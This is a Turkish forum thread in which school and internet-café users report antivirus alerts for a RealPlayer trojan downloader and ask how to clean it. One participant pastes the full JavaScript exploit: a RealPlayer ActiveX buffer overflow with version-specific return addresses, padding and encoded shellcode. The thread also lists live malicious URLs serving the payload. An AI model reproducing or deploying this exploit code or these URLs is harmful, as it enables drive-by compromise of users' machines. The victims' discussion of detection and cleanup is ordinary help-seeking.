Böyle Virüs Görmedim.

[erkanbayram]

Okulumuzdaki nerdeyse tüm bilgisayarlarda son bir haftadır bu uyarı çıkmaya başladı. NOD32 kurulu ve güncelliyorum sürekli.

Dosya:
http://s.222360.com/6.gif (Sakın tıklamayın)

Virüs:
JS/Exploit.RealPlay.E truva atı ve bazen de
Win32/TrojenDownloader.Small.NXS truva atı

Bilgisayarın ghostunu geri yükledim, temiz ghost. C ve D yi tekrar tarıyorum. Buraya kadar sorun yok. Ne zamanki Internet Explorer a tıkladım. Bir kaç tıklamadan sonra ya da anında bu mesaj karşımda. Okulda ağ var. Ağdan bi yerlerden de geliyor olabilir. Nasıl temizleyebiliriz bunu ?

[muharrem_tac]

Çok güzel.
Bunu yapan eleman benim düşündüğümü yapmış.
Bu aslında bir JS kodu. Firefox'da çalışmıyor merak etmeyin.

function RealExploit()
{
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
return;
if(user.indexOf("nt 5.")==-1)
return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Real = new ActiveXObject(VulObject);
}catch(error)
{
return;
}

RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";
JmpOver = unescape("%75%06%74%04");
for(i=0;i<32*148;i++)
Padding += "S";

if(RealVersion.indexOf("6.0.14.") == -1)
{
if(navigator.userLanguage.toLowerCase() == "zh-cn")
ret = unescape("%7f%a5%60");
else if(navigator.userLanguage.toLowerCase() == "en-us")
ret = unescape("%4f%71%a4%60");
else
return;
}
else if(RealVersion == "6.0.14.544")
ret = unescape("%63%11%08%60");
else if(RealVersion == "6.0.14.550")
ret = unescape("%63%11%04%60");
else if(RealVersion == "6.0.14.552")
ret = unescape("%79%31%01%60");
else if(RealVersion == "6.0.14.543")
ret = unescape("%79%31%09%60");
else if(RealVersion == "6.0.14.536")
ret = unescape("%51%11%70%63");
else
return;

if(RealVersion.indexOf("6.0.10.") != -1)
{
for(i=0;i<4;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.11.") != -1)
{
for(i=0;i<6;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.12.") != -1)
{
for(i=0;i<9;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.14.") != -1)
{
for(i=0;i<10;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}

AdjESP = "LLLL\\XXXXXLD";
Shell ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoSQQtrSTnQq3T3CRL2OPobKqcTnPipnqv0oToSQPdT3VOpr0mdnrEQhE5OpWp";
PayLoad = Padding + AdjESP + Shell;
while(PayLoad.length < 0x8000)
PayLoad += "ChuiZi";
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0);
}
RealExploit();

[muharrem_tac]

erkanbayram, mesajından alıntı:

Nasıl temizleyebiliriz bunu ?

Truva atı ise kendisini registery'ye falan yazmıştır muhtemelen oradan silebilirsiniz. Ama en iyisi Process Explorer ve Wireshark ile analiz yapın bakalım yazılım neler karıştırıyor.

Buradaki gibi güzel şeyler yakalayabilirsiniz.

[HaokaH]

Gayetde hoş görüyor nod32.. Hemde firefoxdan..

[orcunyucel]

AVG'de böyle bir uyarı vermiyor

[explorer]

slm bilader.!!
ben bu virüsün kurrbanlarındanım sistemime epey kez format atım fakat kurtulamadım hem bide ben cafe işletiyorum müşterilerimin de özel hayatı tehlikede oluyor,bende kaspersky anti vürüs proğramı var ne zaman internete girerken her açılan yeni link te bu uyarıyı veriyor bulunan:trojan-downloader.JS.small.js dosya.g.asdafdgfgf.com/ads.js.
iki seçenekli bir pencere veriyor kaspersky atla veya engellle ben sürekli engelledim fakat internet akışım çok agır şimdi ne oluyor anlamadım bu virüs pc me yerleşmiş
mi yoksa her yerleşmeye çalıştığı esnada virüs tarayıcı engelmi oluyor anlayamadım.bundan nasıl kurtulabilirim aceba hardiskleri uçursam hepsini fdisk çekmek çözüm olabilirmi.olmayacaksa onca yıllık bilgiler ve resimler telef olacak.ve ayrıyetten eğerki olurda fdisk çözüm se pc ye kayıtlı neler yedeklenebilir.. mesela resim ve mp3lerimi kurtara bilirmiyim.

[explorer]

slm muharrem bey..!
ben bu virüsün kurrbanlarındanım sistemime epey kez format atım fakat kurtulamadım hem bide ben cafe işletiyorum müşterilerimin de özel hayatı tehlikede oluyor,bende kaspersky anti vürüs proğramı var ne zaman internete girerken her açılan yeni link te bu uyarıyı veriyor bulunan:trojan-downloader.JS.small.js dosya:http://g.asdafdgfgf.com/ads.js.
iki seçenekli bir pencere veriyor kaspersky atla veya engellle ben sürekli engelledim fakat internet akışım çok agır şimdi ne oluyor anlamadım bu virüs pc me yerleşmiş
mi yoksa her yerleşmeye çalıştığı esnada virüs tarayıcı engelmi oluyor anlayamadım.bundan nasıl kurtulabilirim aceba hardiskleri uçursam hepsini fdisk çekmek çözüm olabilirmi.olmayacaksa onca yıllık bilgiler ve resimler telef olacak.ve ayrıyetten eğerki olurda fdisk çözüm se pc ye kayıtlı neler yedeklenebilir.. mesela resim ve mp3lerimi kurtara bilirmiyim.

[totalvoltage]

ben de bunun kurbanlarından biriyim.Bizim ağda da bir çok makinede sürekli kaspersky tarafından http://g.asdafdgfgf.com/ads.js adresine uyarısı alıyorum.Bunun çözümü nedir acaba?

[ApexLoader]

muharrem_tac, mesajından alıntı:

Truva atı ise kendisini registery'ye falan yazmıştır muhtemelen oradan silebilirsiniz. Ama en iyisi Process Explorer ve Wireshark ile analiz yapın bakalım yazılım neler karıştırıyor.

Buradaki gibi güzel şeyler yakalayabilirsiniz.

Kesinlikle mükemmel bir durum ama ustteki o gife tıkladım yahu umarim herseyim gitmemistir su adamlara.

[che]

muharrem hocam yoğun talep var aslında virüslerle ve antivirüslerle ilgili bir bölüm açılsa hiç fena olmayacak.